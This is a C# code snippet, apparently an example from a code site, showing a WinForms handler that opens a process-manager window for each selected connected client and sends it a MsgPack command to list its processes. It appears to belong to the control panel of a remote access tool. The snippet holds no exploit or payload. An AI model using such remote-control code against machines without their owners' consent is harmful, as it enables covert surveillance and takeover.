Example #1
0
 private void ProcessManagerToolStripMenuItem1_Click(object sender, EventArgs e)
 {
     try
     {
         if (listView1.SelectedItems.Count > 0)
         {
             MsgPack msgpack = new MsgPack();
             msgpack.ForcePathObject("Packet").AsString = "processManager";
             msgpack.ForcePathObject("Option").AsString = "List";
             foreach (ListViewItem itm in listView1.SelectedItems)
             {
                 Clients client = (Clients)itm.Tag;
                 this.BeginInvoke((MethodInvoker)(() =>
                 {
                     FormProcessManager processManager = (FormProcessManager)Application.OpenForms["processManager:" + client.ID];
                     if (processManager == null)
                     {
                         processManager = new FormProcessManager
                         {
                             Name = "processManager:" + client.ID,
                             Text = "processManager:" + client.ID,
                             F = this,
                             C = client
                         };
                         processManager.Show();
                         ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
                     }
                 }));
             }
         }
     }
     catch { }
 }